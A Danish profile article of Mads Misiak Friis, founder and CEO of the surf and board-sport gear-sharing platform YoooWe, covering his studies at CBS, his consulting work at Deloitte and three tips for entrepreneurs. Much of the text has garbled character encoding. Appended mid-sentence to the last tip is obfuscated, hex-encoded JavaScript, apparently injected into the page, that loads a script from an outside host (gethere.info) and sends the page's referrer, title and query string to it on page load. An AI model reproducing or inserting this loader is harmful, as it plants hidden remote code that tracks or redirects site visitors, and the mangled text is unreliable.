Mads er CEO hos YoooWe og har en varierende og eventyrindbydende hverdag, hvor han kommer i kontakt med et vA�ld af forskellige opgaver og omrA?der. Hvis han skulle nA�vne alle de ting, han laver i virksomheden, ville det blive en mindre roman. Mads er konkurrencedrevet og har arbejdet benhA?rdt for at nA? der til, hvor han er i dag.

Artiklen fortsA�tter under grafikken

Mads Misiak Friis

Alder:A�28 A?r LinkedIn:A�https://dk.linkedin.com/in/madsmfriis/da Bachelor:A�Ha. Psykologi (CBS) Kandidat:A�Cand.Merc.SOL (CBS) NuvA�rende stilling:A�Founder & CEO hos YoooWe Tidligere erfaring:A�Deloitte Consulting, CBS, Humanic Group StA?rste succes: Professionelt: At skabe verdens stA?rste platform for deling af surf, ski og boardsport udstyr med YoooWe. PA? studiet: At vA�re en af de mest vindende case competition deltagere for CBS

Som CEO for YoooWe skal Mads have en finger med i spillet i mange forskellige aspekter af virksomheden. Det betyder ogsA?, at en vigtig kvalitet er at vA�re nysgerrig og have let ved at lA�re nye ting. Som ivA�rksA�tter skal man nemlig kunne lA?se mange forskellige opgaver og have en forstA?else for de forskellige arbejdsopgaver i virksomheden som blandt andet regnskab, daglig ledelse, fundraising og megetA�mere.

“En dag kan bestA? i alt fra partnerskabsmA?der pA? et stand up paddle surf board, investormA?der, til at lave juice til teamet ordne regnskab eller noget helt andet. Ledelse og priotering er dog to ting der fylder en del. Kodning er det eneste jeg ikke har berA?ring med. Det stA?r min gode kammerat og co-founder Nicklas for med hjA�lp fra Emrah som laver frontend udviklingen. Sociale medier styrer Sasha fra vores team med hA?rd hA?nd,” fortA�ller Mads.

Erfaringer er vigtige, konkurrencen er motiverende

Mads har taget mange ting med sig fra sine spA�de jobs. Selv de jobs han ikke nA�vner pA? LinkedIn, mener han har vA�ret med til at udvikle ham.

a�?Mit fA?rste job efter at have vA�ret avisbud var i Jack & Jones, da jeg var 15 A?r. Der lA�rte jeg god arbejdsdisciplin, salg og at vA�re serviceminded, hvilket har hjulpet mig i alle mine jobs. Mit job som Management Consulent i Deloitte har uden tvivl vA�ret en vigtig faktor i min udvikling. At arbejde sammen med sA? dygtige mennesker rykkede mig meget. At lA�re strategier og vA�rktA?jer til lA?sning af problemer, er noget jeg bruger meget i min dagligdag i YoooWe.a�?

Mads beskriver sig selv som konkurrencedrevet og en elendig taber. Denne kombination har dog vist sig, at vA�re til Madsa�� fordel, da den har motiveret ham til at lA�gge ekstra mange timer i sit arbejde, for at nA? sine mA?l.

BenhA?rdt arbejde har vA�ret vejen frem

Selvom joberfaringen har givet Mads en masse erfaringer, beskriver han sin bachelor i Ha.Psyk. som en fantastisk uddannelse, der har givet ham et grundlag for at forstA? mennesker og forretning. En forstA?else, der har vist sig at vA�re mere end relevant i hans karriere som ivA�rksA�tter.

I forbindelse med CBSa�� officielle Case Competition, viste Madsa�� konkurrencegen sig dog igen vigtigt, da han pludseligt blev klar over, at han skulle arbejde lige sA? hA?rdt med studie og arbejde, som han tidligere havde gjort med sin passion for sport.

a�?Jeg har altid haft relativt let ved skole, men her var folk, som havde endnu lettere ved skole end mig, men samtidig arbejdede meget hA?rdere, og udover det ogsA? var socialt kompetente. Det var en A?jenA?bner, sA�rligt med Jesper Damsgaard, som mA?ske stadig er den dygtigste person, jeg har arbejdet med.a�?

SA�rligt samarbejdet med Jesper Damsgaard gjorde, at Mads tilbragte, hvad han selv betegner som sA?rgeligt mange weekender pA? biblioteket. Men den hA?rde indsats rystede bA?de topkarakterer og et job i Deloitte af sig.

a�?Det ville da vA�re dejligt at kunne sige man bare var et talent, men hvor jeg er i dag, er et resultat af benhA?rdt arbejde og samarbejde med folk der er dygtigere end mig selv.A�PA? overfladen er der mange jeg har mA?dt med arbejdsmA�ssig succes, som virker til bare cruise igennem det hele. De fleste har dog tilbragt virkelig mange timer pA? et bibliotek, arbejdet eller andet sted for at nA? til hvor de er. Det er bare ikke den historie man ser pA? Facebook, Instagram eller Twitter. Det gA�lder ogsA? mig selv. Jeg lagde jo heller ikke billeder op pA? Facebook af, at jeg endnu en weekend sad pA? CBS bibliotek med Rasmus Ditlevsen til de lukkede, eller nA?r jeg nu sidder med Nicklas Peistrup endnu en weekend aften og arbejder. De billeder man ser er jo fra den vundne case competition i LA eller partnermA?det i Hawaii. Det er dog det hele vA�rd, men mA?ske ikke sA? transparent, at det er skinnetA�igennem, at man ofrer nogle ting og arbejder hA?rdt.

3A�gode rA?dA�fra Mads

1. LA�r af de dygtigste. Find en mA?de at lA�re fra de dygtigste inden for dit felt, om det er gennem bA?ger eller pA? magisk vis ved at arbejde sammen med dem.

2. VA�lg noget du brA�nder for. Jeg elsker hvad jeg laver sA? meget, at jeg ofte hellere vil bruge en lA?rdag aften pA? at skabe resultater med YoooWe, end at drikke mig fuld.

3. GA?r noget ved din idA�. Hvis du vil vA�re ivA�rksA�tter, sA? gA?r noget ved din egen ide eller find et start-up, hvor du kan lA�re. GA?r det dog kun, hvis du brA�nder for det. Lad vA�re med at blive ivA�rksA�tter fordi du vil vA�re din egen chef, eller fordi det er populA�rt lige nu. Du har mA?ske den fine titel som CEO, men de ansatte og kunderne kommer altid fA?r dig selv. Og de 60 timer du mA?ske kommer til at arbejde som konsulent i banker eller andet er ingen ting i forhold til at vA�re ivA�rksA�tter.var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Alberte Fich Askgaard

Alberte læser til dagligt kommunikation på RUC og interesserer sig også for journalistik, SoMe og strategi. Hos Talentguiden skriver hun portrætter og redigerer desuden for VINKkbh.

More Posts

Follow Me:
TwitterLinkedIn